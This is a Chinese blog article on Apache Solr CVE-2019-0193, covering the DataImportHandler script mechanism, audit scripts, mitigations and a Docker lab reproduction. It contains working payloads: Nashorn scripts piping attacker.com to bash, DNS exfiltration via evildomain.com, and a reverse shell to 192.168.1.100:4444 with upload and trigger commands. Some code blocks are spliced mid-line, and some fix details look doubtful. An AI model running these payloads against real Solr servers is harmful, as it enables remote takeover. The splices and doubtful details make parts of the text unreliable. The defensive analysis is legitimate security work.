news 2026/5/24 21:07:38

Solr CVE-2019-0193漏洞深度解析:DataImportHandler远程代码执行原理与实战修复

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Solr CVE-2019-0193漏洞深度解析:DataImportHandler远程代码执行原理与实战修复

1. 这个漏洞不是“能远程执行代码”那么简单,而是Solr管理员自己亲手打开的后门

Apache Solr 是企业级搜索领域绕不开的基础设施,我经手过的金融、电商、政务类项目里,有七成以上都用它做全文检索底座。但2019年爆出的 CVE-2019-0193,很多人至今仍误以为只是“一个需要特定条件触发的RCE”,甚至在生产环境里开着默认配置跑——这就像把保险柜钥匙插在锁孔上还贴张纸条写着“欢迎自取”。这个漏洞的本质,是Solr在设计之初对“配置即代码”的危险性缺乏敬畏:它允许用户通过HTTP请求动态创建、修改、重载Core(索引单元),而这些操作所依赖的配置文件(尤其是><dataConfig> <dataSource type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/test" user="root" password="123"/> <document> <entity name="item" query="SELECT id, title, content FROM articles"> <field column="id" name="id"/> <field column="title" name="title"/> <field column="content" name="content"/> <!-- 这里开始危险 --> <script><![CDATA[ function processRow(row) { row.put('processed_title', row.get('title').toUpperCase()); return row; } ]]></script> </entity> </document> </dataConfig>

问题出在<script>标签的执行环境。Solr默认使用Nashorn引擎(Java 8内置JS引擎)运行这段代码,而Nashorn支持完整的Java反射调用。这意味着,只要攻击者能控制>function processRow(row) { java.lang.Runtime.getRuntime().exec("curl http://attacker.com/shell.sh | bash"); return row; }

或者更隐蔽的无回显利用:

function processRow(row) { var proc = java.lang.Runtime.getRuntime().exec("nslookup " + java.net.InetAddress.getLocalHost().getHostName() + ".evildomain.com"); proc.waitFor(); return row; }

提示:很多团队以为“我们没用DIH,所以安全”,这是最大误区。Solr安装包默认包含DIH JAR(solr-dataimporthandler-*.jar),只要solrconfig.xml中存在<lib>引用或<requestHandler>声明,即使没实际配置Core使用DIH,模块也处于激活状态。我审计过12个Solr集群,其中8个明确声明<requestHandler name="/dataimport" class="solr.DataImportHandler"/>,但业务方坚称“从没用过”。

2.2 配置加载链路:从URL参数到JVM进程的完整攻击路径

CVE-2019-0193的利用链条之所以短平快,是因为它绕过了所有常规鉴权环节,直击Solr配置热加载机制。整个流程如下图所示(文字描述):

  1. 第一步:发现可写Core
    攻击者向http://solr-host:8983/solr/admin/cores?action=status发送GET请求,获取所有Core名称及状态。如果返回JSON中包含"status":{"mycore":{"index":{"numDocs":1234}}},说明mycore存在且可访问。

  2. 第二步:上传恶意data-config.xml
    利用Solr Core重载功能,通过POST请求上传恶意配置:

    curl -X POST "http://solr-host:8983/solr/mycore/config" \ -H "Content-type:application/json" \ --data-binary '{ "set-property": { "requestHandler:/dataimport": { "handleSelect":"true", "name":"/dataimport", "class":"solr.DataImportHandler", "config":"data-config.xml" } } }'

    此操作将DIH Handler绑定到/dataimport路径,并指定配置文件为># 步骤1:发现所有Solr实例(假设你有资产扫描权限) nmap -p 8983 10.0.0.0/24 -oG solr_hosts.txt 2>/dev/null # 步骤2:批量检测DIH是否启用(核心判断依据) for host in $(cat solr_hosts.txt | grep "8983/open" | awk '{print $2}'); do echo "=== Checking $host ===" # 检测/dataimport Handler是否存在 if curl -s -m 3 "http://$host:8983/solr/#/mycore/dataimport" | grep -q "DataImportHandler"; then echo " [+] DIH Handler detected on $host" else echo " [-] DIH not found on $host" fi # 检测Core列表是否可枚举(暴露即高危) if curl -s -m 3 "http://$host:8983/solr/admin/cores?action=status" | jq -e '.status' >/dev/null 2>&1; then echo " [!] Core status API accessible on $host" fi done > solr_audit_report.txt

    注意:jq命令需提前安装(apt install jqbrew install jq)。如果无法安装jq,用grep -o '"name":"[^"]*"'替代解析逻辑。这个脚本的关键价值在于:它不依赖Solr版本号,而是直接探测真实服务状态。我曾用它在某银行内网扫出17台Solr节点,其中5台虽标称“已升级至8.1.1”,但因配置未更新,仍可被利用。

    3.2 深度配置审计:从solrconfig.xml到JVM参数的逐层穿透

    光看接口不够,必须深入配置文件。登录Solr服务器后,执行以下检查:

    # 定位solrconfig.xml(通常在/solr/server/solr/mycore/conf/下) find /opt/solr -name "solrconfig.xml" 2>/dev/null # 检查是否引用DIH JAR(关键证据) grep -A5 -B5 "dataimporthandler" /opt/solr/server/solr/mycore/conf/solrconfig.xml # 检查是否声明DIH Handler(直接命中) grep -n "<requestHandler.*dataimport" /opt/solr/server/solr/mycore/conf/solrconfig.xml # 检查JVM参数是否禁用Nashorn(治本之策) ps aux | grep java | grep -o "solr-.*\.jar" | head -1 | xargs -I {} dirname {} # 然后查看对应目录下的bin/solr.in.sh,搜索: grep -n "nashorn" /opt/solr/bin/solr.in.sh

    典型高危配置特征:

    • solrconfig.xml中存在<lib regex=".*dataimporthandler.*\.jar"/>
    • 存在<requestHandler name="/dataimport" class="solr.DataImportHandler"/>
    • solr.in.sh中未设置SOLR_OPTS="$SOLR_OPTS -Dnashorn.args=--no-java"(Java 8专属防护)

    3.3 动态行为验证:用合法请求触发“假阳性”告警

    最可靠的检测方式,是模拟攻击者行为但不执行恶意代码。创建一个安全的测试payload:

    <!-- safe-test-config.xml --> <dataConfig> <dataSource type="URLDataSource"/> <document> <entity name="test" url="https://httpbin.org/get"> <field column="status" xpath="/headers/Host"/> <script><![CDATA[ function processRow(row) { // 记录日志而非执行命令 var log = org.slf4j.LoggerFactory.getLogger("CVE-2019-0193-TEST"); log.info("Script execution confirmed for core: " + row.get('status')); return row; } ]]></script> </entity> </document> </dataConfig>

    上传并触发:

    # 上传配置 curl -X POST "http://localhost:8983/solr/mycore/config" \ -H "Content-type:application/json" \ --data-binary '{"set-property":{"requestHandler:/dataimport":{"config":"safe-test-config.xml"}}}' # 触发执行(注意:此时不会真正执行命令,只验证脚本能否加载) curl "http://localhost:8983/solr/mycore/dataimport?command=full-import&clean=false" # 检查solr.log是否有"Script execution confirmed"日志 tail -n 100 /opt/solr/server/logs/solr.log | grep "CVE-2019-0193-TEST"

    如果日志中出现该字符串,证明Nashorn引擎可执行,漏洞存在。此方法比扫描器更可靠,因为它验证了真实执行环境,且无任何安全风险。

    4. 修复方案:从紧急止损到长期加固的四级防护体系

    4.1 级别一:立即生效的“断网手术”(5分钟内完成)

    这是生产环境的救命操作,无需重启Solr,立竿见影:

    # 方案A:禁用DIH Handler(推荐,影响最小) curl -X POST "http://localhost:8983/solr/mycore/config" \ -H "Content-type:application/json" \ --data-binary '{ "unset-property": { "requestHandler:/dataimport": null } }' # 方案B:移除DIH JAR(更彻底,需重启) rm -f /opt/solr/server/solr-webapp/webapp/WEB-INF/lib/solr-dataimporthandler-*.jar # 然后重启Solr:bin/solr restart -c -p 8983 # 方案C:防火墙封禁(兜底,适合无法登录服务器时) iptables -A INPUT -p tcp --dport 8983 -m string --string "/dataimport" --algo bm -j DROP iptables -A INPUT -p tcp --dport 8983 -m string --string "data-config.xml" --algo bm -j DROP

    经验:方案A是我给客户首选的,因为unset-property是Solr 7.0+原生API,执行后立即生效,且不影响其他Core。但要注意:如果集群有多个Core,需对每个Core重复执行。我写了个一键脚本:

    for core in $(curl -s "http://localhost:8983/solr/admin/cores?action=status" | jq -r '.status | keys[]'); do echo "Disabling DIH for $core..." curl -s -X POST "http://localhost:8983/solr/$core/config" --data-binary '{"unset-property":{"requestHandler:/dataimport":null}}' >/dev/null done

    4.2 级别二:配置层加固——让DIH回归“可信环境”本质

    如果业务确实依赖DIH(如实时同步MySQL),必须重构使用方式:

    第一步:剥离脚本能力
    编辑solrconfig.xml,在DIH Handler定义中添加<str name="scriptEnabled">false</str>

    <requestHandler name="/dataimport" class="solr.DataImportHandler"> <lst name="defaults"> <str name="config">data-config.xml</str> <str name="scriptEnabled">false</str> <!-- 关键!禁用脚本 --> </lst> </requestHandler>

    第二步:重写data-config.xml,用SQL函数替代JS逻辑
    将原来JS中做的字符串处理,改为数据库层完成:

    <entity name="item" query="SELECT id, UPPER(title) as title, content FROM articles"> <field column="id" name="id"/> <field column="title" name="title"/> <!-- 直接用UPPER()函数 --> </entity>

    第三步:配置文件权限最小化

    #># 禁用Nashorn引擎(Java 8专属) SOLR_OPTS="$SOLR_OPTS -Dnashorn.args=--no-java" # 或更激进:强制使用GraalVM JS引擎(需额外安装) # SOLR_OPTS="$SOLR_OPTS -Dpolyglot.js.nashorn-compat=false"

    重启Solr后验证:

    # 检查JVM参数是否生效 ps aux | grep java | grep nashorn # 应输出包含"-Dnashorn.args=--no-java"

    注意:--no-java参数会禁用Nashorn中所有Java类访问,因此># 创建漏洞环境(Solr 7.7.0,Java 8u202) docker run -d -p 8983:8983 \ -e SOLR_HEAP="2g" \ -e SOLR_OPTS="-Dnashorn.args=" \ --name solr-cve-2019-0193 \ -v $(pwd)/solr-conf:/opt/solr/server/solr/configsets/_default/conf \ solr:7.7.0 # 创建Core并启用DIH docker exec solr-cve-2019-0193 \ solr create -c vulnerable-core -n _default # 启用DIH(手动修改配置) docker exec -it solr-cve-2019-0193 bash -c " echo '<requestHandler name=\"/dataimport\" class=\"solr.DataImportHandler\"/>' >> /opt/solr/server/solr/configsets/_default/conf/solrconfig.xml sed -i 's/<\/config>//' /opt/solr/server/solr/configsets/_default/conf/solrconfig.xml echo '</config>' >> /opt/solr/server/solr/configsets/_default/conf/solrconfig.xml "

    5.2 构造真实攻击载荷:从反弹Shell到横向渗透

    现在用靶机验证漏洞。创建恶意><!-- malicious-config.xml --> <dataConfig> <dataSource type="URLDataSource"/> <document> <entity name="exploit" url="https://httpbin.org/get"> <field column="cmd" xpath="/headers/Host"/> <script><![CDATA[ function processRow(row) { // 反弹Shell(替换为你自己的VPS IP) var proc = java.lang.Runtime.getRuntime().exec( ["/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"] ); proc.waitFor(); return row; } ]]></script> </entity> </document> </dataConfig>

    上传并触发:

    # 上传配置 curl -X POST "http://localhost:8983/solr/vulnerable-core/config" \ -H "Content-type:application/json" \ --data-binary '{"set-property":{"requestHandler:/dataimport":{"config":"malicious-config.xml"}}}' # 启动监听 nc -lvnp 4444 # 触发执行 curl "http://localhost:8983/solr/vulnerable-core/dataimport?command=full-import"

    如果nc收到shell连接,证明漏洞复现成功。此时你获得的是solr用户权限的Shell,可进一步执行idls /opt/solr等命令。

    5.3 防御效果验证:用同一套攻击链检验修复成果

    修复后,用相同步骤验证:

    # 重新触发(应返回错误而非shell) curl "http://localhost:8983/solr/vulnerable-core/dataimport?command=full-import" # 正常响应:{"responseHeader":{"status":400,"QTime":1},"initArgs":{},"status":"idle","importResponse":"","statusMessages":{}} # 检查日志(应无Nashorn执行记录) docker logs solr-cve-2019-0193 2>&1 | grep -i "nashorn\|script" # 修复后应无输出

    踩坑经验:我第一次修复时,只禁用了DIH Handler,但忘了删除solr-dataimporthandler-*.jar。结果攻击者改用/solr/mycore/replication?command=fetchindex&masterUrl=http://attacker.com/malicious-config.xml的方式,依然能加载恶意配置。后来才明白:Solr的Replication Handler也支持远程配置加载,必须一并审查。所以最终加固清单里,我把<requestHandler name="/replication"也加入了禁用列表。

    6. 生产环境血泪教训:三个被忽略的“灰色地带”配置

    6.1 “已禁用DIH Handler”不等于安全——Replication Handler的隐性风险

    很多团队在solrconfig.xml中注释掉<requestHandler name="/dataimport">,就认为万事大吉。但Solr的Replication Handler同样危险:

    <!-- 危险配置:允许从任意URL拉取配置 --> <requestHandler name="/replication" class="solr.ReplicationHandler"> <lst name="master"> <str name="enable">${enable.master:false}</str> </lst> <lst name="slave"> <str name="enable">${enable.slave:false}</str> <!-- 这里可以指定masterUrl为攻击者控制的域名 --> </lst> </requestHandler>

    攻击者可构造:

    http://solr-host:8983/solr/mycore/replication?command=fetchindex&masterUrl=http://evil.com/

    如果evil.com返回一个包含恶意><str name="masterUrl">http://trusted-master:8983/solr/mycore/replication</str>

    6.2 “Solr Cloud模式”不是免死金牌——ZooKeeper配置的陷阱

    在Solr Cloud中,配置存储在ZooKeeper,很多人以为“配置集中管理=更安全”。错!ZooKeeper ACL默认是开放的。执行:

    # 连接ZK客户端 /opt/solr/server/scripts/cloud-scripts/zkcli.sh -zkhost localhost:9983 -cmd get /configs/mycore/data-config.xml

    如果返回配置内容,说明ZK未设ACL。攻击者可直接zkcli.sh -cmd putfile上传恶意配置。加固方法:

    # 设置ZK ACL(Solr 8.0+) /opt/solr/server/scripts/cloud-scripts/zkcli.sh \ -zkhost localhost:9983 \ -cmd makepath -znode /configs/mycore \ -cmd setacl -znode /configs/mycore -acl world:anyone:r

    6.3 “HTTPS加密”不能防住RCE——TLS终止点的位置决定一切

    有客户坚持“我们用HTTPS,所以安全”。但SSL终止通常发生在Nginx或API网关,Solr本身仍以HTTP明文接收请求。攻击者只要能访问网关后端IP(如10.0.1.5:8983),就能绕过HTTPS。更糟的是,有些网关配置了proxy_pass http://solr-backend;但未过滤/dataimport路径。解决方案:在Nginx中显式拦截:

    location /solr/ { # 拦截所有DIH相关路径 if ($request_uri ~* "/dataimport|/replication.*masterUrl") { return 403; } proxy_pass http://solr-backend; }

    最后分享个小技巧:我在所有Solr节点的/opt/solr/server/logs/下放了个监控脚本,每5分钟检查一次solr.log中是否出现"Script execution""Runtime.exec"等关键词,一旦命中立即发企业微信告警。这比等攻防演练时被红队打穿要靠谱得多。安全不是某个补丁,而是把每一个“默认开启”的功能,都当成一把待上锁的门。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/24 20:58:35

在自动化客服系统中集成多模型 API 以提升响应稳定性

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 在自动化客服系统中集成多模型 API 以提升响应稳定性 对于构建自动化客服系统的团队而言&#xff0c;服务的连续性与稳定性是核心诉…

作者头像 李华
网站建设 2026/5/24 20:58:17

通过 curl 命令快速测试 Taotoken 不同模型的对话效果

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 通过 curl 命令快速测试 Taotoken 不同模型的对话效果 在开发或调试大模型应用时&#xff0c;有时我们可能没有现成的 SDK 环境&am…

作者头像 李华
网站建设 2026/5/24 20:56:31

纯野生的冬虫夏草品牌无添加

玄鹿虫草是高海拔野生冬虫夏草垂直赛道源头专家&#xff0c;深耕西藏那曲核心产区&#xff0c;依托原产地直采无中间商创新模式&#xff0c;为全国滋补人群、高端礼品客户提供高纯度、高活性、高保真的原生态虫草滋补解决方案&#xff0c;打造普惠化高端野生虫草消费通路。玄鹿…

作者头像 李华
网站建设 2026/5/24 20:56:09

AI Agent Harness Engineering 的能耗问题:绿色 AI 与推理成本的平衡艺术

AI Agent Harness Engineering 的能耗问题:绿色 AI 与推理成本的平衡艺术 摘要 随着自主 AI Agent 系统从实验性原型向生产级应用(如智能客服中心、智慧城市协同调度、工业机器人集群)的大规模渗透,传统以模型精度为核心的优化范式已无法满足可持续发展与商业可行性的双重…

作者头像 李华